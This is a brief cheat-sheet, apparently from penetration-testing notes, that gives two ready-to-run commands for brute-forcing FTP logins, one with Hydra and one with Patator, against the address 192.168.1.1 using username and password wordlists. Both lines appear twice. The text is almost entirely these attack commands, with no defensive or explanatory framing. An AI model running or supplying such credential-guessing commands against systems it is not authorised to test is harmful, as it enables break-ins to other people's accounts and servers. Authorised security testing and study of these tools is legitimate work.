A couple methods of bruteforcing FTP.
Hydra: hydra -L users.txt -P passwords.txt ftp://192.168.1.1
Patator: patator (module ex ftp_login) host=192.168.1.1 user=FILE0 password=FILE1 0=users.txt 1=passwords.txt
Hydra: hydra -L users.txt -P passwords.txt ftp://192.168.1.1
Patator: patator (module ex ftp_login) host=192.168.1.1 user=FILE0 password=FILE1 0=users.txt 1=passwords.txt